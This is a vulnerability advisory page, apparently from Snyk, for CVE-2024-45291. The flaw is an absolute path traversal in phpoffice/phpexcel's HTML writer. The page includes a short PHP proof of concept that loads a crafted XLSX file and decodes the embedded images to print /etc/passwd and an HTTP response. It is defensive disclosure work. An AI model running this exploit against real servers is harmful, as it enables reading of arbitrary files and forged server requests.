Absolute Path Traversal Affecting phpoffice/phpexcel package, versions >=0.0.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PHP-PHPOFFICEPHPEXCEL-9299763
- published7 Mar 2025
- disclosed7 Oct 2024
- creditEmil Virkki
Introduced: 7 Oct 2024
CVE-2024-45291 (opens in a new tab)How to fix?
There is no fixed version for phpoffice/phpexcel.
Overview
Affected versions of this package are vulnerable to Absolute Path Traversal via the HTML writer process when embedding images. An attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests by constructing an XLSX file that links images from arbitrary paths or URLs, which are then included in the output as data: URLs.
Note:
This is only exploitable if the $writer->setEmbedImages(true); setting is enabled.
PoC
<?php
require 'vendor/autoload.php';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();
// The below is just for demo purposes
$pattern = '/data:;base64,(?<data>[^"]+)/i';
preg_match_all($pattern, $output, $matches);
print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));
print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));